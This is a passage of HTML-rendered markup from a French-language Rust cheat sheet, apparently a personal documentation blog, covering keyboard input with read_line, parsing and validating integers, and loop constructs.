style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> entree </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">new</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">//Création d'un String vide MUTABLE !</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Entrez quelque chose :"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token namespace" style="opacity:0.7">io</span><span class="token namespace punctuation" style="opacity:0.7;color:#393A34">::</span><span class="token function" style="color:#d73a49">stdin</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">read_line</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">&amp;</span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> entree</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Ajoute l'input à la fin de la chaine</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">expect</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Erreur de lecture"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">//ajoute un message d'erreur personnalisé en cas d'échec</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Vous avez écrit : {}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> entree</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="cas-spécifique-des-lectures-multiples">Cas spécifique des lectures multiples<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#cas-sp%C3%A9cifique-des-lectures-multiples" class="hash-link" aria-label="Lien direct vers Cas spécifique des lectures multiples" title="Lien direct vers Cas spécifique des lectures multiples" translate="no">​</a></h4>
<p>Comme on peut le voir au dessus, la méthode <code>read_line</code> ajoute à la fin de la variable la chaine qui a été écrite.</p>
<p>Cela signifie que dans un programme interractif où l'on doit demander plusieurs variables à l'utilisateur, il est impératif de vider la variable au préalable, par exemple :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Lecture de multiples lignes au clavier</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">use</span><span class="token plain"> </span><span class="token namespace" style="opacity:0.7">std</span><span class="token namespace punctuation" style="opacity:0.7;color:#393A34">::</span><span class="token plain">io</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> input </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">new</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token namespace" style="opacity:0.7">io</span><span class="token namespace punctuation" style="opacity:0.7;color:#393A34">::</span><span class="token function" style="color:#d73a49">stdin</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">read_line</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">&amp;</span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> input</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">unwrap</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> count</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> input</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">trim</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">parse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">unwrap</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> result</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> counter</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> _i </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">count </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        input</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">clear</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">//vider la variable input pour pouvoir demander une autre valeur</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token namespace" style="opacity:0.7">io</span><span class="token namespace punctuation" style="opacity:0.7;color:#393A34">::</span><span class="token function" style="color:#d73a49">stdin</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">read_line</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">&amp;</span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> input</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">unwrap</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">//ajout dans une string vide</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        counter </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> input</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">trim</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">parse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">unwrap</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        result </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> counter</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">result</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="conversion-dune-entrée-en-nombre">Conversion d'une entrée en nombre<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#conversion-dune-entr%C3%A9e-en-nombre" class="hash-link" aria-label="Lien direct vers Conversion d'une entrée en nombre" title="Lien direct vers Conversion d'une entrée en nombre" translate="no">​</a></h3>
<p><code>read_line</code> ne lit que du texte. Pour le convertir en nombre, on utilise <code>parse</code> :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Lecture d'un entier</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">use</span><span class="token plain"> </span><span class="token namespace" style="opacity:0.7">std</span><span class="token namespace punctuation" style="opacity:0.7;color:#393A34">::</span><span class="token plain">io</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> entree </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">new</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Entrez un nombre :"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token namespace" style="opacity:0.7">io</span><span class="token namespace punctuation" style="opacity:0.7;color:#393A34">::</span><span class="token function" style="color:#d73a49">stdin</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">read_line</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">&amp;</span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> entree</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">expect</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Erreur de lecture"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> nombre</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> entree</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">trim</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">              </span><span class="token comment" style="color:#999988;font-style:italic">// Enlève les espaces et le \n final</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">parse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">             </span><span class="token comment" style="color:#999988;font-style:italic">// Tente la conversion</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">expect</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Ce n'est pas un nombre valide !"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Vous avez entré : {}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> nombre</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>trim() est crucial</div><div class="admonitionContent_BuS1"><p><code>read_line</code> capture aussi le caractère de retour à la ligne (<code>\n</code>). Sans <code>trim()</code>, la conversion échouera systématiquement.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="validation-propre-de-lentrée">Validation propre de l'entrée<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#validation-propre-de-lentr%C3%A9e" class="hash-link" aria-label="Lien direct vers Validation propre de l'entrée" title="Lien direct vers Validation propre de l'entrée" translate="no">​</a></h3>
<p>Plutôt que <code>expect</code> qui fait planter le programme en cas d'erreur, on peut utiliser <code>match</code> pour gérer proprement les cas invalides :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Validation robuste</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">use</span><span class="token plain"> </span><span class="token namespace" style="opacity:0.7">std</span><span class="token namespace punctuation" style="opacity:0.7;color:#393A34">::</span><span class="token plain">io</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> entree </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">new</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token namespace" style="opacity:0.7">io</span><span class="token namespace punctuation" style="opacity:0.7;color:#393A34">::</span><span class="token function" style="color:#d73a49">stdin</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">read_line</span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">&amp;</span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> entree</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">expect</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Erreur de lecture"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> nombre</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">match</span><span class="token plain"> entree</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">trim</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">parse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token class-name">Ok</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">n</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> n</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token class-name">Err</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">_</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Entrée invalide !"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token keyword" style="color:#00009f">return</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> nombre </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> nombre </span><span class="token operator" style="color:#393A34">&lt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">100</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Valeur correcte : {}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> nombre</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Hors plage [1-100]"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-boucles">Les boucles<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-boucles" class="hash-link" aria-label="Lien direct vers Les boucles" title="Lien direct vers Les boucles" translate="no">​</a></h2>
<p>Rust propose trois types de boucles : <code>loop</code>, <code>while</code> et <code>for</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-boucle-loop">La boucle <code>loop</code><a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#la-boucle-loop" class="hash-link" aria-label="Lien direct vers la-boucle-loop" title="Lien direct vers la-boucle-loop" translate="no">​</a></h3>
<p>C'est la boucle infinie native de Rust. Elle s'exécute jusqu'à rencontrer un <code>break</code>.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Boucle loop</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> compteur </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">loop</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    compteur </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> compteur </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">break</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> compteur</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Spécificité utile : <code>loop</code> peut <strong>retourner une valeur</strong> via <code>break</code> :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">loop retournant une valeur</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> compteur </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> resultat </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">loop</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    compteur </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> compteur </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token 